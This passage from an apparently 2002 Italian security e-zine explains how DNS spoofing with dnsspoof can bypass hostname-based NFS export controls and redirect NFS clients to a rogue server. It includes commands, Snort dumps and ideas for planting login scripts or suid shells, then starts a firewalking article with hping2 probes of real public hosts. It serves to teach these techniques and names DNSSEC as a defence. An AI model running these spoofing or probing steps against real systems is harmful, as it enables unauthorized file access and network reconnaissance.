| NFS si serve del file /etc/exports per determinare la legittimità o meno |
| delle richieste di mount remote, in tale file sono pertanto indicate le |
| risorse che si desidera condividere e le macchine autorizzate ad |
| accedere a tali condivisioni. |
| Al momento dell'avvio dei servizi NFS il file /etc/exports viene |
| processato dal comando exportfs -r che viene di norma avviato |
| automaticamente dallo script di inizializzazione dei servizi. Nel qual |
| caso tale file contenesse riferimenti ad hostname il sistema sarà |
| costretto alla risoluzione degli stessi mediante query DNS che |
| potrebbero rendere il sistema soggetto ad accessi non autorizzati. |
| |
| 5.1 NFS server bypass |
| Come avrete avuto modo di capire la pratica comune di inserire hostname |
| all'interno di liste per il controllo degli accessi espone il nostro |
| sistema ad enormi rischi e andrebbe per tanto evitata. |
| Ad ogni modo vediamo come un attacker possa servirsi dello spoofing del |
| DNS al fine di guadagnare un accesso non autorizzato ai rami condivisi |
| del nostro filesystem. |
| |
| Ecco un possibile scenario in cui potrebbe verificarsi un attacco alle |
| risorse condivise del sistema victim operando da un ipotetico sistema |
| attack, gli host in gioco sono ancora una volta quelli utilizzati nel |
| corso dell'esempio precedente: |
| |
| Hostname Indirizzi IP Descrizione |
| |
| attack.linuxbox.com 192.168.1.4 l'host dell'attacker |
| dns.linuxbox.com 192.168.1.5 il server DNS |
| trust.linuxbox.com 192.168.1.6 il client "fidato" |
| victim.linuxbox.com 192.168.1.7 il server NFS |
| |
| Il sistema victim.linuxbox.com si presenta configurato come segue: |
| |
| /etc/exports: |
| /home/ftp trust.linuxbox.com(ro) |
| |
| Il file /etc/exports così dichiarato permette (dovrebbe permettere) |
| l'accesso in sola lettura (ro) alla home directory dell'utente ftp al |
| solo sistema che risponde all'hostname trust.linuxbox.com. |
| |
| Vediamo cosa accade durante il boot del sistema nel momento in cui lo |
| script rc.nfsd (Slackware8.0) inizializza i servizi NFS: |
| |
| Starting NFS services: |
| /usr/sbin/exportfs -r |
| /usr/sbin/rpc.rquotad |
| /usr/sbin/rpc.nfsd 8 |
| /usr/sbin/rpc.mountd --no-nfs-version 3 |
| /usr/sbin/rpc.lockd |
| /usr/sbin/rpc.statd |
| |
| Nel preciso istante in cui lo script rc.nfsd avvia exportfs -r il file |
| /etc/exports viene processato e il nome host trust.linuxbox.com viene |
| risolto nel relativo indirizzo IP tramite DNS query, in tal modo in |
| presenza di una richiesta di mount futura il server NFS non avrà più |
| l'esigenza di interrogare il nameserver ma si avvarrà dell'IP |
| memorizzato a tempo di boot per soddisfare qualsiasi richiesta. |
| Pertanto il solo momento in cui i servizi NFS risultano vulnerabili allo |
| spoofing del DNS è rappresentato dal momento in cui esso aggiorna la |
| tabella delle condivisioni, di norma tale operazione viene svolta |
| durante il boot o su richiesta dell'amministratore. |
| |
| L'output di Snort ci offre la possibilità di loggare i pacchetti che |
| transitano durante questa operazione, ovvero quali query vengono |
| inoltrate da victim verso il DNS e quali risposte riceve da |
| quest'ultimo: |
| |
| attacker@attack:~# snort -vd udp port 53 |
| 02/20-13:18:28.241483 192.168.1.7:1072 -> 192.168.1.5:53 |
| UDP TTL:120 TOS:0x0 ID:35227 IpLen:20 DgmLen:64 DF |
| Len: 44 |
| 4F 5D 01 00 00 01 00 00 00 00 00 00 05 74 72 75 O]...........tru |
| 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. |
| 00 01 00 01 .... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| Victim invia una query intesa a risolvere l'hostname trust.linuxbox.com |
| che si trova nel file /etc/exports, questa operazione viene eseguita a |
| tempo di boot o su richiesta dell'admin... |
| |
| 02/20-13:18:28.242207 192.168.1.5:53 -> 192.168.1.7:1072 |
| UDP TTL:64 TOS:0x0 ID:395 IpLen:20 DgmLen:114 |
| Len: 94 |
| 4F 5D 85 80 00 01 00 01 00 01 00 01 05 74 72 75 O]...........tru |
| 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. |
| 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 04 ............Q... |
| C0 A8 01 06 C0 12 00 02 00 01 00 01 51 80 00 06 ............Q... |
| 03 64 6E 73 C0 12 C0 40 00 01 00 01 00 01 51 80 .dns...@......Q. |
| 00 04 C0 A8 01 05 ...... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| Il server DNS restituisce a victim la risposta contenente l'IP dell'host |
| trust.linuxbox.com ovvero 192.168.1.6, in fututo quando il server NFS |
| riceverà una richiesta di mount remota confronterà l'indirizzo IP del |
| richiedente con quello ottenuto da questa reply e nel qual caso |
| dovessero risultare uguali permetterà il pieno accesso al filesystem. |
| |
| [...] |
| |
| La stessa query si ripete moltplici volte di conseguenza l'output |
| restante di Snort è stato omesso in quanto ritenuto poco significativo. |
| Se ora dovessimo provare a fare mount da un sistema diverso da trust il |
| risultato sarebbe il seguente: |
| |
| attacker@attack:~# mount 192.168.1.7:/home/ftp /mnt/nfs |
| mount: 192.168.1.7:/home/ftp failed, reason given by server: Permission |
| denied |
| |
| Come atteso la nostra richiesta di mount viene scartata in quanto |
| proviene dall'IP 192.168.1.4 (attack) che è ben diverso dall'IP |
| 192.168.1.6 (trust) risolto a boot time. |
| E' importante notare che nel momento della richiesta di mount da parte |
| di un client remoto il server NFS non ha la necessità di consultare il |
| DNS in quanto la risoluzione dell'hostname è avvenuta a tempo di boot. |
| |
| Ne consegue che se un malintenzionato volesse eludere i controlli di |
| sicurezza di NFS dovrebbe agire durante il processo di avvio del server, |
| qui di seguito mi limito ad illustrare in pochi e semplici passi come |
| potrebbe procedere al fine di perseguire il suo scopo: |
| |
| attacker@attack:~# dnsspoof -f ~/hosts.txt |
| dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] |
| |
| L'attacker mette in ascolto Dnsspoof sul proprio sistema in attesa di |
| intercettare le DNS query causate dall'inizializzazione dei servizi NFS |
| sulla macchina della vittima, nell'intento di restituire a victim delle |
| reply a tali interrogazioni che riportino come IP del sistema trust l'IP |
| stesso dell'host da cui l'attacker sta operando, ovvero 192.168.1.4. Le |
| reply fasulle forgiate da Dnsspoof dovranno giungere a victim prima che |
| tale sistema sia raggiunto dalle reply lecite inviategli dal DNS. |
| |
| Qui di seguito vediamo i messaggi che il server victim invia verso |
| l'output standard a testimonianza del fatto che sta procedendo all' |
| inizializzazione di tali servizi: |
| |
| Starting NFS services: |
| /usr/sbin/exportfs -r |
| /usr/sbin/rpc.rquotad |
| /usr/sbin/rpc.nfsd 8 |
| /usr/sbin/rpc.mountd --no-nfs-version 3 |
| /usr/sbin/rpc.lockd |
| /usr/sbin/rpc.statd |
| |
| Segue poi l'output di Dnsspoof che ha catturato e risposto a 4 query |
| rivolte al nameserver (192.168.1.5) da parte di victim (192.168.1.7): |
| |
| attacker@attack:~# dnsspoof -f ~/hosts.txt |
| dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] |
| 192.168.1.7.1074 > 192.168.1.5.53: 62892+ A? trust.linuxbox.com |
| 192.168.1.7.1074 > 192.168.1.5.53: 62893+ A? trust.linuxbox.com |
| 192.168.1.7.1076 > 192.168.1.5.53: 6343+ A? trust.linuxbox.com |
| 192.168.1.7.1076 > 192.168.1.5.53: 6344+ A? trust.linuxbox.com |
| |
| Vediamo il tutto dalla prospettiva offerta da Snort, ovvero come si |
| sono svolte le cose a livello di pacchetto: |
| |
| attacker@attack:~# snort -vd udp port 53 |
| 02/20-14:29:39.685629 192.168.1.7:1074 -> 192.168.1.5:53 |
| UDP TTL:145 TOS:0x0 ID:8247 IpLen:20 DgmLen:64 DF |
| Len: 44 |
| F5 AC 01 00 00 01 00 00 00 00 00 00 05 74 72 75 .............tru |
| 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. |
| 00 01 00 01 .... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| 02/20-14:29:39.686343 192.168.1.5:53 -> 192.168.1.7:1074 |
| UDP TTL:64 TOS:0x0 ID:416 IpLen:20 DgmLen:114 |
| Len: 94 |
| F5 AC 85 80 00 01 00 01 00 01 00 01 05 74 72 75 .............tru |
| 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. |
| 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 04 ............Q... |
| C0 A8 01 06 C0 12 00 02 00 01 00 01 51 80 00 06 ............Q... |
| 03 64 6E 73 C0 12 C0 40 00 01 00 01 00 01 51 80 .dns...@......Q. |
| 00 04 C0 A8 01 05 ...... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| Questo secondo pacchetto è giunto a destinazione (victim) ma è stato |
| ignorato in quanto PRECEDUTO dalla risposta fasulla fornita da Dnsspoof. |
| Ora non ci resta che terminare l'esecuzione di Dnsspoof e accedere alle |
| condivisioni di victim come se fossimo l'host legittimo: |
| |
| attacker@attack:~# mount 192.168.1.7:/home/ftp /mnt/nfs |
| attacker@attack:~# |
| |
| Ora abbiamo accesso in sola lettura (ro) al ramo del filesystem remoto, |
| e possiamo incominciare a riflettere sui reali problemi in cui possiamo |
| incorrere a causa di un'amministrazione superficiale di tali risorse. |
| |
| 5.2 Exportfs |
| Questo comando viene utilizzato per mantenere aggiornata la tabella |
| delle condivisioni sul sistema server, in particolare è lo script di |
| inizializzazione dei servizi NFS stesso a preoccuparsi di svolgere tale |
| mansione per mezzo della chiamata exportfs -r. |
| Tuttavia tale comando può contribuire ad aprire un varco nella sicurezza |
| del sistema qualora venga richiamato in un tempo successivo all' |
| esecuzione del demone mountd, questo può verificarsi a causa di uno |
| script inaffidabile o per mano dell'admin che richiama tale comando da |
| console. |
| Ho effettuato questa scoperta in maniera del tutto casuale durante i |
| probe che ho effettuato lungo il corso della stesura del presente |
| articolo, premetto che ho avuto modo di testare il presunto bug solo su |
| un sistema che monta Slackware8.0 e kernel 2.4.17. |
| |
| Ecco un esempio, mettiamo che l'admin decida di modificare il file |
| /etc/exports e di conseguenza debba aggiornare le tabelle delle |
| condivisioni con l'ausilio di exportfs -r senza prima provvedere all' |
| arresto dei demoni interessati: |
| |
| victim@victim:~# exportfs -r |
| |
| Come possiamo vedere dall'output di Snort riportato qui di seguito, il |
| file /etc/exports viene processato e l'hostname (trust) contenuto in |
| esso viene risolto nell'IP corrispondente (192.168.1.6): |
| |
| attacker@attack:~# snort -vd udp port 53 |
| 02/20-14:49:48.213636 192.168.1.7:1079 -> 192.168.1.5:53 |
| UDP TTL:236 TOS:0x0 ID:19927 IpLen:20 DgmLen:64 DF |
| Len: 44 |
| CD 39 01 00 00 01 00 00 00 00 00 00 05 74 72 75 .9...........tru |
| 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. |
| 00 01 00 01 .... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| 02/20-14:49:48.214328 192.168.1.5:53 -> 192.168.1.7:1079 |
| UDP TTL:64 TOS:0x0 ID:426 IpLen:20 DgmLen:114 |
| Len: 94 |
| CD 39 85 80 00 01 00 01 00 01 00 01 05 74 72 75 .9...........tru |
| 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. |
| 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 04 ............Q... |
| C0 A8 01 06 C0 12 00 02 00 01 00 01 51 80 00 06 ............Q... |
| 03 64 6E 73 C0 12 C0 40 00 01 00 01 00 01 51 80 .dns...@......Q. |
| 00 04 C0 A8 01 05 ...... |
|

  
|
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| [...] |
| |
| A questo punto nel momento stesso in cui facciamo il primo tentativo di |
| mount da un host non autorizzato notiamo una cosa molto strana, ossia... |
| |
| attacker@attack:~# mount 192.168.1.7:/home/ftp /mnt/nfs |
| mount: 192.168.1.7:/home/ftp failed, reason given by server: Permission |
| denied |
| |
| Osservando l'output di Snort riportato qui di seguito possiamo notare |
| che in presenza del primo tentativo di mount del filesystem remoto si |
| verificano ripetute query al DNS da parte di victim intese a risolvere |
| l'hostname (trust) contenuto nel file /etc/exports: |
| |
| attacker@attack:~# snort -vd udp port 53 |
| 02/20-14:52:05.417517 192.168.1.7:1079 -> 192.168.1.5:53 |
| UDP TTL:197 TOS:0x0 ID:25875 IpLen:20 DgmLen:64 DF |
| Len: 44 |
| 28 CB 01 00 00 01 00 00 00 00 00 00 05 74 72 75 (............tru |
| 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. |
| 00 01 00 01 .... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| 02/20-14:52:05.418237 192.168.1.5:53 -> 192.168.1.7:1079 |
| UDP TTL:64 TOS:0x0 ID:429 IpLen:20 DgmLen:114 |
| Len: 94 |
| 28 CB 85 80 00 01 00 01 00 01 00 01 05 74 72 75 (............tru |
| 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. |
| 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 04 ............Q... |
| C0 A8 01 06 C0 12 00 02 00 01 00 01 51 80 00 06 ............Q... |
| 03 64 6E 73 C0 12 C0 40 00 01 00 01 00 01 51 80 .dns...@......Q. |
| 00 04 C0 A8 01 05 ...... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| [...] |
| |
| Facciamo il punto della situazione: |
| - i demoni stavano runnando |
| - viene richiamato exportfs -r |
| - trust.linuxbox.com viene risolto in 192.168.1.6 |
| - tale IP viene memorizzato per impedire query durante le richieste di |
| mount che potranno verificarsi in futuro e che sarebbero altriementi |
| soggette a vulnerabilità dovute al DNS spoofing |
| - prima richiesta di mount |
| - viene nuovamente richieta la risoluzione di trust!!! |
| |
| In parole povere, se exportfs -r è stato richiamato mentre mountd stava |
| runnando e siamo i primi a richiedere il mount allora causeremo una |
| query DNS da parte di victim e saremo in grado di fornire una risposta |
| arbitraria avvalendosi di Dnsspoof e permettendo il mount del filesystem |
| da parte dell'host desiderato! |
| |
| Ad esempio, l'admin ha appena modificato il file delle esportazioni e |
| desidera che le modifiche apportate abbiano effetto, a tale scopo esegue |
| il comando necessario (il demone mountd è in esecuzione): |
| |
| victim@victim:~# exportfs -r |
| |
| Terminata l'esecuzione del comando exportfs, l'attacker pone Dnsspoof in |
| ascolto sull'interfaccia di rete e... |
| |
| attacker@attack:~# dnsspoof -f ~/hosts.txt |
| dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] |
| |
| ...si prepara a richiedere il mount: |
| |
| attacker@attack:~# mount 192.168.1.7:/home/ftp /mnt/nfs |
| attacker@attack:~# |
| |
| le query rivolte a risolvere l'hostname di trust.linuxbox.com vengono |
| intercettate e le risposte fasulle vengono inviate al server NFS victim |
| che permette il mount da parte del sistema attacker: |
| |
| attacker@attack:~# dnsspoof -f ~/hosts.txt |
| dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] |
| 192.168.1.7.1034 > 192.168.1.5.53: 43182+ A? trust.linuxbox.com |
| 192.168.1.7.1034 > 192.168.1.5.53: 43183+ A? trust.linuxbox.com |
| |
| 5.3 NFS client bypass |
| Ora la situazione si è invertita, la vittima è il client NFS e deve |
| accedere al server NFS trust.linuxbox.com al quale ha accesso regolare. |
| Lo scopo di colui che attacca è quello di far connettere in maniera del |
| tutto inconsapevole la vittima a un server NFS fasullo. |
| Nell'esempio che mi accingo ad analizzare il server NFS "aggressivo" si |
| trova sul sistema stesso dell'attacker da cui partirà l'attacco di DNS |
| spoofing. Ancora una volta condizione necessaria alla riuscita dell' |
| attacco è rappresentata dall'utilizzo del nome host da parte del lato |
| client NFS al fine di accedere alle risorse remote. |
| |
| Hostname Indirizzi IP Descrizione |
| |
| attack.linuxbox.com 192.168.1.4 il server NFS fasullo |
| dns.linuxbox.com 192.168.1.5 il server DNS |
| trust.linuxbox.com 192.168.1.6 il server NFS "fidato" |
| victim.linuxbox.com 192.168.1.7 il client NFS |
| |
| L'attacker deve disporre sul server NFS fasullo (in questo caso il |
| sistema attack.linuxbox.com) un file exports che permetta l'accesso |
| inconsapevole della vittima: |
| |
| /etc/exports: |
| /home/ftp 192.168.1.7(ro) |
| |
| l'attacker mette in ascolto Dnsspoof, in questo modo qualsiasi richiesta |
| di mount da parte di un client NFS che abbia come destinatario il |
| sistema trust verrà reindirizzata verso il server NFS fasullo (attack) |
| in maniera del tutto trasparente alla vittima: |
| |
| attacker@attack:~# dnsspoof -f ~/hosts.txt |
| dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] |
| |
| La vittima richiede di montare la porzione di filesystem /home/ftp dal |
| sistema trust... |
| |
| victim@victim:~# mount trust.linuxbox.com:/home/ftp /mnt/nfs |
| victim@victim:~# |
| |
| ...in realtà la sua richiesta viene inoltrata a 192.168.1.4, IP |
| suggeritogli dalla reply fasulla forgiata da Dnsspoof: |
| |
| attacker@attack:~# dnsspoof -f ~/hosts.txt |
| dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] |
| 192.168.1.7.1034 > 192.168.1.5.53: 62600+ A? trust.linuxbox.com |
| |
| Una pratica comune che sarebbe bene evitare è quella di inserire una |
| voce in /etc/fstab che esegua il mount di un filesystem NFS, il fatto |
| stesso di automatizzare l'operazione espone i client NFS a rischi ancora |
| maggiori. |
| |
| Ora vi starete chiedendo, che interessi può avere un utente malizioso ad |
| ingannare un client NFS al fine di forzare il mount di un filesystem |
| differente da quello previsto? |
| Ecco alcuni semplici esempi che mi limiterò a citare in quanto la loro |
| trattazione non rientra nel tema principale di questo articolo: |
| |
| 1)molti sistemi con funzione di workstation montano le /home degli |
| utenti da remoto a tempo di boot, se un attacker fosse in grado di |
| forzare il mount in lettura/scrittura di una home fittizia che si trova |
| sul proprio sistema potrebbe venire in possesso di dati di fondamentale |
| importanza per l'integrità dell'account utente attaccato quali ad |
| esempio .bash_history; |
| |
| 2)come nell'esempio precedente, se l'attacker fosse in grado di montare |
| una directory home fittizia potrebbe inserire in essa script come |
| .bash_profile o .bashrc in grado di eseguire potenzialmente qualsiasi |
| operazione al momento del login della vittima; |
| |
| 3)se l'attacker ha accesso al sistema victim come utente generico e tale |
| sistema, in seguito alla presenza di una voce nel file /etc/fstab, |
| esegue un mount automatico tramite NFS potrà essere forzato a montare un |
| filesystem aggressivo al fine di mettere a disposizione di attacker file |
| potenzialmente dannosi per la sicurezza stessa del sistema, ad esempio |
| suid shell o script perl setuserid. |
| L'utilizzo delle opzioni nosuid e noexec del comando mount non sempre |
| offrono la sicurezza sperata e possono essere aggirate agilmente con |
| semplici accorgimenti: |
| |
| - nosuid NON impedisce l'esecuzione di script Perl tramite Suidperl; |
| - noexec NON impedisce che i file dannosi vengano copiati su un altro |
| filesystem dove potranno essere eseguiti. |
| |
| 6. Contromisure |
| I servizi offerti da un server DNS sono vulnerabili allo spoofing a |
| causa della totale assenza di un sistema di autenticazione. Un buon |
| rimedio è rappresentato dall'utilizzo di software quale DNSSEC che |
| applica una firma digitale per assicurare la provenienza legittima delle |
| reply da parte di un server DNS autorizzato. |
| Effetti collaterali quali la necessità di maggiore banda a disposizione, |
| maggior mole di lavoro per la macchina e per l'amministratore del |
| sistema sono la causa principale della lenta diffusione di DNSSEC. |
| |
| 7. Risorse |
| Bind Howto |
| man Dnsspoof |
| NFS Howto |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| 0NDAQUADRA ~ [NETW0RKiNG] #06 - 25/04/2002 |
| FiREWALKiNG [E4zy] 0x07/0x1D |
+--------------------------------------------------------------------------+
| |
| 1. TCP/IP Protocol |
| |
| 2. Firewalking |
| |
| 3. RFC 793, Transmission Control Protocol |
| 3.1 Closed State |
| 3.2 Listen State |
| |
| 4. Auditing delle ACL |
| 4.1 Semplici deduzioni sui flag |
| 4.2 ICMP message |
| 4.3 Traceroute |
| 4.4 UDP scan |
| |
| 5. Vulnerability |
| 5.1 Check Point FireWall-1 |
| 5.2 Syncookies |
| |
| 6. Backdoor |
| |
| 7. Risorse |
| |
| |
| |
| 1. TCP/IP Protocol |
| Il presente articolo da per scontato che il lettore sia in possesso di |
| buone conoscenze inerenti ai protocolli di rete e al loro funzionamento, |
| per tanto tale argomento non verrà affrontato durante la trattazione di |
| questo testo. |
| |
| 2. Firewalking |
| Il termine firewalking è usato per indicare l'insieme di tecniche che |
| permettono di identificare un router/firewall e le rispettive ACL(1). |
| |
| (1)ACL: Access Control List, è un termine usato per indicare l'insieme |
| di regole adottate dai dispositivi a filtro di pacchetto per stabilire |
| se il traffico su una data interfaccia sia lecito o meno. |
| |
| Tramite il firewalking un attacker è in grado di rilevare potenziali |
| falle nella sicurezza del firewall al fine di ottenere un accesso non |
| autorizzato alla rete interna. |
| Lo scopo di questo articolo è descrivere nel dettaglio queste tecniche |
| al fine di consentire l'applicazione delle stesse ad un amministratore |
| che voglia testare con mano l'efficacia dei propri sistemi di |
| protezione. |
| |
| 3. RFC 793, Transmission Control Protocol |
| Gran parte delle tecniche che introdurrò nel corso della trattazione di |
| questo articolo trovano le loro basi portanti nelle specifiche dei |
| protocolli di rete e precisamente nel TCP. |
| |
| 3.1 Closed State |
| (Dall'RFC 793) |
| |
| 1. If the connection does not exist (CLOSED) then a reset is sent |
| in response to any incoming segment except another reset. In |
| particular, SYNs addressed to a non-existent connection are rejected |
| by this means. |
| |
| If the incoming segment has an ACK field, the reset takes its |
| sequence number from the ACK field of the segment, otherwise the |
| reset has sequence number zero and the ACK field is set to the sum |
| of the sequence number and segment length of the incoming segment. |
| The connection remains in the CLOSED state. |
| |
| A quanto pare possiamo dedurre che se inviamo un pacchetto ad un certo |
| host su una porta che risulta chiusa esso ci risponderà con un pacchetto |
| con flag RST attivo, a meno che il pacchetto che gli abbiamo mandato non |
| contenesse a sua volta il solo flag RST impostato a 1. |
| |
| Ecco un esempio pratico di quanto ho appena detto, a tale scopo userò il |
| tool Hping2 di Antirez che permette di forgiare pacchetti TCP adatti |
| alle nostre esigenze: |
| |
| # hping2 -p 1 -S localhost |
| HPING localhost (lo 127.0.0.1): S set, 40 headers + 0 data bytes |
| len=40 ip=127.0.0.1 flags=RA seq=0 ttl=255 id=679 win=0 rtt=0.3 ms |
| len=40 ip=127.0.0.1 flags=RA seq=1 ttl=255 id=680 win=0 rtt=0.2 ms |
| len=40 ip=127.0.0.1 flags=RA seq=2 ttl=255 id=681 win=0 rtt=0.2 ms |
| |
| --- localhost hping statistic --- |
| 3 packets tramitted, 3 packets received, 0% packet loss |
| round-trip min/avg/max = 0.2/0.3/0.3 ms |
| |
| Ho inoltrato un pacchetto con flag SYN attivo alla porta 1 di localhost |
| che si trova nello stato CLOSE, in risposta ho ottenuto un pacchetto RST |
| (flags=RA, stà per RST/ACK) come pronosticato. |
| |
| Ora inviamo allo stesso host e alla stessa porta un pacchetto con flag |
| RST attivo, come da specifiche RFC l'host non risponderà con alcun |
| pacchetto: |
| |
| # hping2 -p 1 -R localhost |
| HPING localhost (lo 127.0.0.1): R set, 40 headers + 0 data bytes |
| |
| --- localhost hping statistic --- |
| 3 packets tramitted, 0 packets received, 100% packet loss |
| round-trip min/avg/max = 0.0/0.0/0.0 ms |
| |
| 3.2 Listen State |
| Bene, passiamo alla seconda osservazione che sorge spontanea osservando |
| con occhio attento l'RFC del TCP: |
| |
| (Dall'RFC 793) |
| |
| 2. If the connection is in any non-synchronized state (LISTEN, |
| SYN-SENT, SYN-RECEIVED), and the incoming segment acknowledges |
| something not yet sent (the segment carries an unacceptable ACK), or |
| if an incoming segment has a security level or compartment which |
| does not exactly match the level and compartment requested for the |
| connection, a reset is sent. |
| |
| [...] |
| |
| If the incoming segment has an ACK field, the reset takes its |
| sequence number from the ACK field of the segment, otherwise the |
| reset has sequence number zero and the ACK field is set to the sum |
| of the sequence number and segment length of the incoming segment. |
| The connection remains in the same state. |
| |
| Da queste righe traspare che se inviassimo un pacchetto con flag ACK |
| attivo su una porta che si trova nello stato LISTEN avremo in risposta |
| un pacchetto con flag RST pari a 1 (attivo), si prenda per esempio: |
| |
| # hping2 -p 80 -A localhost |
| HPING localhost (lo 127.0.0.1): A set, 40 headers + 0 data bytes |
| len=40 ip=127.0.0.1 flags=R seq=0 ttl=255 id=710 win=0 rtt=0.3 ms |
| len=40 ip=127.0.0.1 flags=R seq=1 ttl=255 id=711 win=0 rtt=0.2 ms |
| len=40 ip=127.0.0.1 flags=R seq=2 ttl=255 id=712 win=0 rtt=0.2 ms |
| |
| --- localhost hping statistic --- |
| 3 packets tramitted, 3 packets received, 0% packet loss |
| round-trip min/avg/max = 0.2/0.3/0.3 ms |
| |
| L'inoltro del pacchetto con flag ACK impostato a 1 verso la porta 80 |
| (LISTEN) del sistema localhost ha causato, come risposta da parte dello |
| stesso, un pacchetto RST (flags=R) come da specifiche del protocollo. |
| |
| Procedendo in maniera analoga mi è stato possibile isolare la seguente |
| tabella che useremo da adesso in poi come riscontro dei nostri probe: |
| |
| ________________________________ |
| | | | | |
| | STATE | FLAG | REPLY | |
| |__________|__________|__________| |
| | Listen | NULL | None | |
| | Listen | FIN | None | |
| | Listen | RST | None | |
| | Listen | ACK | RST | |
| | Listen | SYN | SYN/ACK | |
| | Closed | RST | None | |
| | Closed | NULL | RST/ACK | |
| | Closed | ACK | RST | |
| | Closed | SYN | RST/ACK | |
| | Closed | FIN | RST/ACK | |
| |
| |
| 4. Auditing delle ACL |
| |
| 4.1 Semplici deduzioni sui flag |
| La tecnica si basa su semplici deduzioni pertanto è bene procedere |
| tenendo bene a mente la tabella riportata qui sopra, procederò nella |
| spigazione aiutandomi con degli esempi al fine di risultare il più |
| chiaro possibile: |
| |
| # hping2 -p 80 -S www.yahoo.it |
| HPING www.yahoo.it (eth0 217.12.3.11): S set, 40 headers + 0 data bytes |
| len=46 ip=217.12.3.11 flags=SA DF seq=0 ttl=51 id=19912 win=65535 [...] |
| len=46 ip=217.12.3.11 flags=SA DF seq=1 ttl=51 id=56715 win=16384 [...] |
| len=46 ip=217.12.3.11 flags=SA DF seq=2 ttl=51 id=41115 win=65535 [...] |
| |
| Il web server è in ascolto sulla porta 80 e risponde prontamente ad una |
| richiesta di connessione (flag SYN=1) con un pacchetto SYN/ACK, tutto è |
| andato come previsto. |
| Ora proviamo ad inviare un pacchetto con il solo flag ACK attivo, quello |
| che ci aspetteremo attenendoci alla solita tabella è di ricevere un RST: |
| |
| # hping2 -p 80 -A www.yahoo.it |
| HPING www.yahoo.it (eth0 217.12.3.11): A set, 40 headers + 0 data bytes |
| |
| --- www.yahoo.it hping statistic --- |
| 3 packets tramitted, 0 packets received, 100% packet loss |
| round-trip min/avg/max = 0.0/0.0/0.0 ms |
| |
| Diversamente da quanto atteso non abbiamo ricevuto alcun pacchetto in |
| risposta, quasi come se il nostro ACK fosse stato droppato(2). |
| Cosa è andato storto? |
| L'ipotesi più plausibile è che vi sia un firewall a filtro di pacchetto |
| che blocchi qualsiasi pacchetto non sia inteso a stabilire una |
| connessione con la porta in questione. |
| |
| (2)droppato: dall'inglese to drop, significa letteralmente lasciar |
| cadere, si usa per indicare una richiesta che viene del tutto ignorata. |
| |
| Penso che abbiate capito come funziona...vero? |
| Il segreto consiste nel rilevare una contraddizione tra il reply che |
| normalmente ci si aspetta dallo stack TCP e il valore restituito |
| dal probe. |
| |
| 4.2 ICMP message |
| La specificità di alcuni messaggi di errore ICMP può fornire |
| informazioni molto preziose riguardo alle caratteristiche stesse della |
| rete che ha generato il messaggio. Una tecnica molto comune utilizzata |
| per raccogliere informazioni si basa proprio sulla creazione di |
| pacchetti appositamente studiati per generare un messaggio di errore |
| ICMP da parte dell'host destinatario del pacchetto. |
| |
| Procedendo nell'analisi delle ACL ci capiterà di imbatterci in un ICMP |
| di tipo 3 codice 13 che segnala la presenza di un filtro imposto dall' |
| amministratore. |
| Ogni qual volta otterremo in risposta ad un dato probe un ICMP di quel |
| tipo non solo saremo al corrente della presenza di un firewall ma ne |
| conosceremo l'indirizzo IP, il che rappresenta un gran vantaggio al fine |
| di determinare il diretto responsabile del filtraggio del traffico |
| illecito. Hping2 rileva e segnala la presenza di un filtro |
| amministrativo in questo modo: |
| |
| # hping2 -p 79 -S www.libero.it |
| HPING www.libero.it (eth0 195.210.91.83): S set, 40 headers + 0 data |
| ICMP Packet filtered from ip=192.106.7.230 name=UNKNOWN |
| ICMP Packet filtered from ip=192.106.7.230 name=UNKNOWN |
| ICMP Packet filtered from ip=192.106.7.230 name=UNKNOWN |
| |
| --- www.libero.it hping statistic --- |
| 6 packets tramitted, 0 packets received, 100% packet loss |
| round-trip min/avg/max = 0.0/0.0/0.0 ms |
| |
| l'IP riportato non è necessariamente quello del sistema destinatario |
| bensì del sistema che ha generato la risposta ICMP ovvero il firewall :) |
| |
| Vi sono molti modi di procedere al fine di causare l'emissione di un |
| messaggio ICMP da parte di un sistema remoto, la mancata emissione dello |
| stesso indica con tutta probabilità la presenza di un dispositivo |
